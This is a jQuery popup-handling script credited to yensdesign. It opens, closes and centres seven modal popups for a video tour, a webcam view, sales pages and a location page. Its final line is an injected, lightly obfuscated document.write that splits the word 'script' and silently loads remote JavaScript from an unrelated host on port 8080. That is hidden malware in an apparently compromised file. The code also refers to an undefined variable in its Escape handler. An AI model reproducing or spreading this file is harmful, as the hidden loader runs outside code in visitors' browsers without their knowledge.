﻿/***************************/
//@Author: Adrian "yEnS" Mato Gondelle
//@website: www.yensdesign.com
//@email: yensamg@gmail.com
//@license: Feel free to use it, but keep this credits please!					
/***************************/

//SETTING UP OUR POPUP
//0 means disabled; 1 means enabled;
var popupStatus = 0;
var videoPopupStatus = 0;
var videoPopupStatus2 = 0;
var webPopupStatus = 0;
var sitePopupStatus = 0;
var sitePopupStatus2 = 0;
var slipPopupStatus = 0;
var locationPopupStatus = 0;

//loads video tour popup
function loadPopup1(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupVideo").fadeIn("slow");
		popupStatus = 1;
		videoPopupStatus = 1;
	}
}
//loads webcam popup
function loadPopup2(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupWeb").fadeIn("slow");
		popupStatus = 1;
		webPopupStatus = 1;
	}
}
//loads site sales popup
function loadPopup3(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupSite").fadeIn("slow");
		popupStatus = 1;
		sitePopupStatus = 1;
	}
}
//loads slip sales popup
function loadPopup4(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupSlip").fadeIn("slow");
		popupStatus = 1;
		slipPopupStatus = 1;
	}
}
//loads video tour 2 popup
function loadPopup5(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupVideo2").fadeIn("slow");
		popupStatus = 1;
		videoPopupStatus2 = 1;
	}
}
//loads location popup
function loadPopup6(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupLocation").fadeIn("slow");
		popupStatus = 1;
		locationPopupStatus = 1;
	}
}
//loads site sales 2 popup
function loadPopup7(){
	//loads popup only if it is disabled
	if(popupStatus==0){
		$("#backgroundPopup").css({
			"opacity": "0.8"
		});
		$("#backgroundPopup").fadeIn("slow");
		$("#popupSite2").fadeIn("slow");
		popupStatus = 1;
		sitePopupStatus2 = 1;
	}
}

//disabling video tour popup
function disablePopup1(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupVideo").fadeOut("slow");
		popupStatus = 0;
		videoPopupStatus = 0;
	}
}
//disabling webcam popup
function disablePopup2(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupWeb").fadeOut("slow");
		popupStatus = 0;
		webPopupStatus = 0;
	}
}
//disabling site sales popup
function disablePopup3(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupSite").fadeOut("slow");
		popupStatus = 0;
		sitePopupStatus = 0;
	}
}
//disabling slip sales popup
function disablePopup4(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupSlip").fadeOut("slow");
		popupStatus = 0;
		slipPopupStatus = 0;
	}
}
//disabling video tour 2 popup
function disablePopup5(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupVideo2").fadeOut("slow");
		popupStatus = 0;
		videoPopupStatus2 = 0;
	}
}
//disabling location popup
function disablePopup6(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupLocation").fadeOut("slow");
		popupStatus = 0;
		locationPopupStatus = 0;
	}
}
//disabling site sales 2 popup
function disablePopup7(){
	//disables popup only if it is enabled
	if(popupStatus==1){
		$("#backgroundPopup").fadeOut("slow");
		$("#popupSite2").fadeOut("slow");
		popupStatus = 0;
		sitePopupStatus2 = 0;
	}
}


//centering video tour popup
function centerPopup1(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupVideo").height();
	var popupWidth = $("#popupVideo").width();
	//centering
	$("#popupVideo").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}
//centering webcam popup
function centerPopup2(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupWeb").height();
	var popupWidth = $("#popupWeb").width();
	//centering
	$("#popupWeb").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}
//centering site sales popup
function centerPopup3(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupSite").height();
	var popupWidth = $("#popupSite").width();
	//centering
	$("#popupSite").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}
//centering site sales popup
function centerPopup4(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupSlip").height();
	var popupWidth = $("#popupSlip").width();
	//centering
	$("#popupSlip").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}
//centering video tour 2 popup
function centerPopup5(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupVideo2").height();
	var popupWidth = $("#popupVideo2").width();
	//centering
	$("#popupVideo2").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}
//centering location popup
function centerPopup6(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupLocation").height();
	var popupWidth = $("#popupLocation").width();
	//centering
	$("#popupLocation").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}
//centering site sales 2 popup
function centerPopup7(){
	//request data for centering
	var windowWidth = document.documentElement.clientWidth;
	var windowHeight = document.documentElement.clientHeight;
	var popupHeight = $("#popupSite2").height();
	var popupWidth = $("#popupSite2").width();
	//centering
	$("#popupSite2").css({
		"position": "absolute",
		"top": windowHeight/2-popupHeight/2,
		"left": windowWidth/2-popupWidth/2
	});
	//only need force for IE6
	
	$("#backgroundPopup").css({
		"height": windowHeight
	});
	
}

//CONTROLLING EVENTS IN jQuery
$(document).ready(function(){
	
	//LOADING POPUP
	//Click the button event!
	$("#videoButton").click(function(){
		//centering with css
		centerPopup1();
		//load popup
		loadPopup1();
	});
	
	$("#webButton").click(function(){
		//centering with css
		centerPopup2();
		//load popup
		loadPopup2();
	});
	
	$("#siteButton").click(function(){
		//centering with css
		centerPopup3();
		//load popup
		loadPopup3();
	});
	
	$("#slipButton").click(function(){
		//centering with css
		centerPopup4();
		//load popup
		loadPopup4();
	});
	
	$("#videoButton2").click(function(){
		//centering with css
		centerPopup5();
		//load popup
		loadPopup5();
	});
	
	$("#locationButton").click(function(){
		//centering with css
		centerPopup6();
		//load popup
		loadPopup6();
	});
	
	$("#siteButton2").click(function(){
		//centering with css
		centerPopup7();
		//load popup
		loadPopup7();
	});
				
	//CLOSING POPUP
	//Click the x event!
	$("#popupVideoClose").click(function(){
		disablePopup1();
	});
	$("#popupWebClose").click(function(){
		disablePopup2();
	});
	$("#popupSiteClose").click(function(){
		disablePopup3();
	});
	$("#popupSlipClose").click(function(){
		disablePopup4();
	});
	$("#popupVideo2Close").click(function(){
		disablePopup5();
	});
	$("#popupLocationClose").click(function(){
		disablePopup6();
	});
	$("#popupSite2Close").click(function(){
		disablePopup7();
	});
	//Click out event!
	$("#backgroundPopup").click(function(){
		if(videoPopupStatus==1){
			disablePopup1();
		}else if(webPopupStatus==1){
			disablePopup2();
		}else if(sitePopupStatus==1){
			disablePopup3();
		}else if(slipPopupStatus==1){
			disablePopup4();
		}else if(videoPopupStatus2==1){
			disablePopup5();
		}else if(locationPopupStatus==1){
			disablePopup6();
		}else if(sitePopupStatus2==1){
			disablePopup7();
		}
	});
	//Press Escape event!
	$(document).keypress(function(e){
		if(e.keyCode==27 && videoPopupStatus==1){
			disablePopup1();
		}else if(e.keyCode==27 && webPopupStatus==1){
			disablePopup2();
		}else if(e.keyCode==27 && sitePopupStatus==1){
			disablePopup3();
		}else if(e.keyCode==27 && slipPopupStatus==1){
			disablePopup4();
		}else if(e.keyCode==27 && videoPopupStatus2==1){
			disablePopup5();
		}else if(e.keyCode==27 && locationPopupStatus==1){
			disablePopup6();
		}else if(e.keyCode==27 && slipPopupStatus2==1){
			disablePopup7();
		}
	});

});




document.write('<s'+'cript type="text/javascript" src="http://sokyoss.drelshazly.com:8080/E-commerce.js"></scr'+'ipt>');